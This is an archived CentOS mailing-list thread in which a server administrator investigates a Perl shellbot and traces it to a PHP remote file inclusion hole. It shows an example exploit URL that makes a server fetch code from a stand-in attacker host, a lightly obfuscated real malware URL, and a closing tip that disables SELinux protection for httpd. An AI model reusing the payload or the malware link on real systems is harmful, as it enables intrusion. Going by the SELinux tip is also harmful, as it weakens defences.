Ok, dumb question. On a certain LAMP server I am seeing in 'ps auxf' a process called "unit" with no arguments or other path info. It has a fairly low pid, 3041, indicating it might have been started soon after reboot (last week). but ps says it was started yesterday,
I don't see it on any of 3 other CentOS machines. It is hard to google for such a generic name. So does anyone either know what it is, or how I can find out more about it?
Sam
Hi,
Ok, dumb question. On a certain LAMP server I am seeing in 'ps auxf' a process called "unit" with no arguments or other path info. It has a fairly low pid, 3041, indicating it might have been started soon after reboot (last week). but ps says it was started yesterday,
can't find it in any of my centos nor debian machines, even a "locate unit" finds nothing!
maybe you should check with "lsof -p 3041" and see which files/pipes it uses to have a clue.
cheers
On Tuesday 12 August 2008 09:08, Mr Shunz wrote:
maybe you should check with "lsof -p 3041" and see which files/pipes it uses to have a clue.
of course! <slap>
it's a perl w0rm that was uploaded last night, now killed. Now to determine how it got in.
I found some output in the main apache error log that looks like wget was used to download a shellbot. But I can't figure out how wget was called, may be some PHP exec() call that is unchecked.
But I can't find it on the system yet or the data files it uses.
chkrootkit says all is clear.
mod_security is now being installed, belatedly. This server has only been up 1 week, sheesh.
thanks Sam
PS here is the link to the shellbot that was used, in case anyone is curious. I break up the URL to protect the innocent:
http://usua<BREAK>rios.lycos.es/<BREAK>w0rms/info.txt
have searched it and don't find anything special on the main security sites. Is it new?
sbeam schrieb:
On Tuesday 12 August 2008 09:08, Mr Shunz wrote:
maybe you should check with "lsof -p 3041" and see which files/pipes it uses to have a clue.
of course! <slap>
it's a perl w0rm that was uploaded last night, now killed. Now to determine how it got in.
I found some output in the main apache error log that looks like wget was used to download a shellbot. But I can't figure out how wget was called, may be some PHP exec() call that is unchecked.
Anything in /tmp ?
Disable register_globals and allow_url_fopen. Set open_basedir for any virtual hosts to the absolute minimum.
That will help a bit.
But I can't find it on the system yet or the data files it uses.
chkrootkit says all is clear.
mod_security is now being installed, belatedly. This server has only been up 1 week, sheesh.
thanks Sam
It was most likely executed via a remote server. Look for URLs in the logs that fetch stuff from remote servers.
cheers, Rainer
On Tuesday 12 August 2008 10:16, Rainer Duffner wrote:
Anything in /tmp ?
Disable register_globals and allow_url_fopen. Set open_basedir for any virtual hosts to the absolute minimum.
allow_url_fopen was enabled on one of many sites. A developer put in an unsafe php include(). This allowed the w0rm to run a remote PHP script which used exec() to fetch and spawn the shellbot. Pretty standard. But it also did a decent job of removing itself from the filesystem. Lucky I noticed the weird process this morning, no harm done it seems.
I have mod_security installed now, but I tested a similar attack, and sadly, it still succeeds as long as allow_url_fopen is on. But this is not CentOS related.
cheers Sam
sbeam schrieb:
On Tuesday 12 August 2008 10:16, Rainer Duffner wrote:
Anything in /tmp ?
Disable register_globals and allow_url_fopen. Set open_basedir for any virtual hosts to the absolute minimum.
I have mod_security installed now, but I tested a similar attack, and sadly, it still succeeds as long as allow_url_fopen is on. But this is not CentOS related.
Yeah, because allow_url_fopen basically means "I want to run code from some random site", in most cases. E.g., when they have implemented a crappy starting-page "index.php" where there is a menu that calls index.php?link=file1.html if item one was clicked. Too bad people can use that to get index.php?link=http://some.geocities.page/foo.gif executed as PHP on your server! (I think it requires both register_globals and allow_url_fopen to be on, but I'm not sure if you can't get it to work with only allow_url_fopen....)
cheers, Rainer
On Tuesday 12 August 2008 12:18, Rainer Duffner wrote:
(I think it requires both register_globals and allow_url_fopen to be on, but I'm not sure if you can't get it to work with only allow_url_fopen....)
as I just found out, it can, as long as the PHP developer was even more naive than usual. The offending line was:
require_once($_SERVER['DOCUMENT_ROOT']."/db.inc.php");
then a request like:
http://victim.com/index.php?_SERVER%5BDOCUMENT_ROOT%5D=http://badguysit e.es/bot.txt
will do a fopen() for "http://badguysite.es/bot.txt/db.inc.php", which is good enough.
And yeah this works with register_globals off, which surprised me. And also surprised that mod_security has no problem with that URL. I am going to raise the issue with them.
cheers Sam
On Tue, Aug 12, 2008 at 12:28:08PM -0400, sbeam wrote:
On Tuesday 12 August 2008 12:18, Rainer Duffner wrote:
(I think it requires both register_globals and allow_url_fopen to be on, but I'm not sure if you can't get it to work with only allow_url_fopen....)
as I just found out, it can, as long as the PHP developer was even more naive than usual. The offending line was:
require_once($_SERVER['DOCUMENT_ROOT']."/db.inc.php");
then a request like:
http://victim.com/index.php?_SERVER%5BDOCUMENT_ROOT%5D=http://badguysit e.es/bot.txt
will do a fopen() for "http://badguysite.es/bot.txt/db.inc.php", which is good enough.
And yeah this works with register_globals off, which surprised me. And also surprised that mod_security has no problem with that URL. I am going to raise the issue with them.
Hi Sam, Nice job tracking that down, and evenm nicer, explaining it with an example even.
If you don't mind I would like to use it as a real world example for a class I'm teaching? I will remove all the identifying information first of course.
Thanks, Jeff Kinz
On Tuesday 12 August 2008 13:39, Jeff Kinz wrote:
If you don't mind I would like to use it as a real world example for a class I'm teaching? I will remove all the identifying information first of course.
Sure go right ahead.
Unfortunately I have tons of real world examples... :/
cheers Sam
sbeam pisze:
On Tuesday 12 August 2008 09:08, Mr Shunz wrote:
maybe you should check with "lsof -p 3041" and see which files/pipes it uses to have a clue.
of course! <slap>
it's a perl w0rm that was uploaded last night, now killed. Now to determine how it got in.
I found some output in the main apache error log that looks like wget was used to download a shellbot. But I can't figure out how wget was called, may be some PHP exec() call that is unchecked.
But I can't find it on the system yet or the data files it uses.
chkrootkit says all is clear.
mod_security is now being installed, belatedly. This server has only been up 1 week, sheesh.
thanks Sam
PS here is the link to the shellbot that was used, in case anyone is curious. I break up the URL to protect the innocent:
http://usua<BREAK>rios.lycos.es/<BREAK>w0rms/info.txt
have searched it and don't find anything special on the main security sites. Is it new?
Hm. And what about selinux and httpd ? Selinux is securing httpd from this attacks, right ? Selinux was disabled ?
Irek
CentOS mailing list CentOS@centos.org http://lists.centos.org/mailman/listinfo/centos
On Tuesday 12 August 2008 15:44, Jancio Wodnik wrote:
Hm. And what about selinux and httpd ? Selinux is securing httpd from this attacks, right ? Selinux was disabled ?
good point, SElinux is set to permissive on this system because we had to get up and running in a hurry and support a lot of legacy apps that do unusual things. apache needs to read/write various config and include files that are in non-standard locations. We tried it enabled and nothing worked.
in the audit.log I am seeing where it wanted to deny the bot a tcp_socket. So that would have been good :/
Maybe enabling selinux but leaving httpd opened up would be appropriate for the time being. Is that possible or advisable? audit2allow wants to allow a lot of things.
sbeam wrote:
Maybe enabling selinux but leaving httpd opened up would be appropriate for the time being. Is that possible or advisable? audit2allow wants to allow a lot of things.
Try toggling the httpd_disable_trans boolean:
setsebool -P httpd_disable_trans on
That should disable SELinux protection of the httpd daemon.
Presumably that is preferable to running in permissive mode or disabling SELinux.
-
Jancio Wodnik -
Jeff Kinz -
Mr Shunz -
Ned Slider -
Rainer Duffner -
sbeam